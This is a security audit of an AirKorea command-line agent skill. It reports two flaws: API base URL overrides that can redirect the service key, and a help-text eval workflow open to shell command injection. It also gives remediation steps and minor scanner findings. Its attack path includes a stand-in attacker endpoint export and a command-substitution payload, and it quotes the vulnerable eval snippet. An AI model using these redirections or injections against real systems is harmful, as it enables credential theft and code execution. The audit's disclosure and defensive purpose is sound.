Back to skill

Security audit

Airkorea Cli

Security checks for vulnerabilities and agentic risk

Overview

This is a coherent AirKorea command-line skill, but it needs review because its documented endpoint overrides can redirect the API key and its help text recommends an unsafe shell eval workflow.

Review before installing. Use only the default apis.data.go.kr endpoints, keep AIRKOREA_SERVICE_KEY private, avoid exporting ARPLTN_BASE or MSRSTN_BASE unless you fully trust the destination, and do not copy the eval command from nearby.sh help; extract TM coordinates with read/jq instead.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/_common.sh:11
Finding

Service Key Disclosure Through Unrestricted API Base URL Overrides

Content
View full analysis

Vulnerability Details

File Location: scripts/_common.sh, lines 11-12 and 61-82
Vulnerability Type: Credential disclosure through attacker-controlled API endpoints
Risk Level: High

Vulnerable Code

bash
ARPLTN_BASE="${ARPLTN_BASE:-https://apis.data.go.kr/B552584/ArpltnInforInqireSvc}"
MSRSTN_BASE="${MSRSTN_BASE:-https://apis.data.go.kr/B552584/MsrstnInfoInqireSvc}"
bash
airkorea_get() {
  local base="$1" path="$2"; shift 2
  require_key

  local enc_key
  enc_key=$(printf '%s' "$AIRKOREA_SERVICE_KEY" | jq -Rrn '@uri inputs')
  # ver=1.5 surfaces extra metric flags (so2Flag, coFlag, …) on the realtime endpoints; harmless on others.
  local qs="serviceKey=${enc_key}&returnType=json&_returnType=json&ver=1.5"

  local kv k v enc_v
  for kv in "$@"; do
    [[ -z "$kv" ]] && continue
    k="${kv%%=*}"
    v="${kv#*=}"
    [[ -z "$v" ]] && continue
    enc_v=$(printf '%s' "$v" | jq -Rrn '@uri inputs')
    qs="${qs}&${k}=${enc_v}"
  done

  local out http
  out=$(mktemp)
  http=$(curl -sS -G -o "$out" -w '%{http_code}' "${base}/${path}?${qs}" || true)

Technical Analysis

The two API base URLs are read directly from environment variables without validating their scheme, hostname, port, or path. The shared request function then places AIRKOREA_SERVICE_KEY in the query string of every request sent to the selected base URL.

Consequently, a process capable of influencing ARPLTN_BASE or MSRSTN_BASE can redirect authenticated requests to an arbitrary server. Both HTTPS attacker endpoints and plaintext HTTP endpoints are accepted. URL encoding the key does not protect its confidentiality because the receiving server obtains and decodes the query parameter.

The overrides are also documented in SKILL.md as supported configuration, but the credential-routing implications and trust requirements are not disclosed.

Attack Path

...[truncated 1148 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove runtime endpoint overrides unless they are strictly necessary.
  2. Before attaching credentials, parse and validate the destination URL against an explicit allowlist:
    • Require the https scheme.
    • Require the exact hostname apis.data.go.kr.
    • Reject embedded credentials, custom ports, fragments, and unexpected paths.
    • Restrict paths to the two expected /B552584/ service prefixes.
  3. If development overrides are required, place them behind an explicit option such as --allow-unsafe-custom-endpoint and do not attach production credentials by default.
  4. Consider separating test credentials from production credentials and requiring a distinct environment variable for custom endpoints.
  5. Add tests proving that HTTP URLs, lookalike domains, user-info URLs, and unapproved paths are rejected.
  6. Update SKILL.md to explain the trust boundary and discourage endpoint overrides in credential-bearing production use.

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/nearby.sh:10
Finding

Shell Command Injection Through Documented Use of eval on API Data

Content
View full analysis

Vulnerability Details

File Location: scripts/nearby.sh, lines 10-13 and 26-27
Vulnerability Type: Shell command injection in a user-facing workflow
Risk Level: Medium

Vulnerable Code

bash
# Tip: chain with tm.sh —
#   eval $(scripts/tm.sh --umd 역삼동 \
#     | jq -r 'select(.sidoName=="서울") | "TMX=\(.tmX); TMY=\(.tmY)"' | head -1)
#   scripts/nearby.sh --tm-x "$TMX" --tm-y "$TMY"

The command is exposed as user-facing help:

bash
-h|--help)
  sed -n '2,15p' "$0" | sed 's/^# \{0,1\}//'
  exit 0;;

Technical Analysis

The recommended workflow converts fields from an API response into shell assignment text and executes that text with eval. Neither tmX nor tmY is safely shell-quoted or validated as numeric before evaluation.

jq -r emits the field values directly. If a response contains shell syntax such as command substitution, semicolons, redirections, or additional assignments, eval interprets that content as executable shell code rather than inert data.

Although this code appears in comments, the script deliberately prints those lines in response to --help, making it an advertised operational workflow. Normal AirKorea coordinate values are numeric, but response manipulation is feasible when MSRSTN_BASE is redirected through the unrestricted environment override in scripts/_common.sh. A compromised upstream response could produce the same result.

Attack Path

  1. The attacker gains control of the tm.sh API response, for example by setting:
    bash
    export MSRSTN_BASE='https://attacker.example/api'
    
  2. The malicious endpoint returns a syntactically valid successful response whose tmX or tmY field contains shell syntax, such as:
    text
    $(attacker_command)
    
  3. The victim follows the workflow shown by scripts/nearby.sh --help.
  4. jq -r interpolates the malicious value into assignment text.
  5. eval parses and e ...[truncated 650 chars]
Remediation
View remediation

Remediation Suggestions

  1. Remove all use and recommendations of eval for processing API data.
  2. Replace the documented workflow with structured data extraction:
    bash
    read -r TMX TMY < <(
      scripts/tm.sh --umd 역삼동 |
      jq -r 'select(.sidoName=="서울") | [.tmX, .tmY] | @tsv' |
      head -1
    )
    
  3. Validate both values before passing them to another command:
    bash
    coordinate_re='^-?[0-9]+([.][0-9]+)?$'
    [[ "$TMX" =~ $coordinate_re && "$TMY" =~ $coordinate_re ]] || {
      echo "error: invalid TM coordinates" >&2
      exit 22
    }
    
  4. Apply equivalent numeric validation inside nearby.sh so callers cannot supply malformed coordinate values.
  5. Retain quoted variable expansions when invoking downstream commands.
  6. Add a regression test containing command substitutions and shell metacharacters, verifying that they are rejected and never executed.
  7. Restrict API base URLs as described in the first finding to reduce the likelihood of attacker-controlled responses.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (8)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding

The skill documents executable shell commands and scripts but does not declare any explicit tool scope or permissions boundary. In an agent ecosystem, this can lead to over-broad shell access being granted implicitly, increasing the blast radius if the skill is invoked in an unexpected context or combined with untrusted inputs.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
85% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 43)May include surrounding context.

md
## Prerequisites

1. **Register at <https://www.data.go.kr/>** (Korean OpenData portal, free, no business required).
2. Apply for **both** services (auto-approved for the dev tier):
   - "한국환경공단_에어코리아_대기오염정보" (real-time + forecast)
   - "한국환경공단_에어코리아_측정소정보" (station directory + TM utilities)
3. Copy the **Decoding** key (the raw form, *not* URL-encoded) and export:

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

The helper reads a credential from AIRKOREA_SERVICE_KEY and includes it in outbound curl requests to a remote API. While the code has error messages for missing keys, it does not provide any user-facing warning, confirmation, or explanatory comment disclosing that a credential will be transmitted over the network.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
72% confidence
Finding

The README presents the skill as Korea-specific and uses Korean-only place-name examples and terminology without indicating whether users can choose another language or locale. Because the policy calls for flagging forced language or locale constraints unless they are clearly documented and justified, this should be made explicit.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

This markdown file includes a command that places an API credential into an environment variable, but it does not warn users that the key is sensitive or advise against sharing shell history, logs, or pasted terminal sessions. For a skill description, this is a user-facing credential-handling behavior that should include a brief disclosure.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
82% confidence
Finding

The description frames the skill as specifically for Korean air-quality data and uses Korean-language geographic inputs and examples, including pairing translation only for 'non-KR users.' This creates an implicit locale restriction without explicitly offering a language/locale choice or clearly documenting the constraint as a policy-bound regional specialization.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
71% confidence
Finding

The script comments and defaults assume Korean input (행정동, default 역삼동) and later hard-code selection to 서울. This imposes a locale-specific behavior in natural language and implementation without offering opt-in or clearly documenting that the skill is intended only for that region.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
77% confidence
Finding

This shell script depends on an exported AIRKOREA_SERVICE_KEY, which indicates authenticated network access to an external service via the called helper scripts. While the purpose implies querying air-quality data, the file itself does not provide a user-facing warning, prompt, or explicit disclosure that it will make remote requests using configured credentials.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.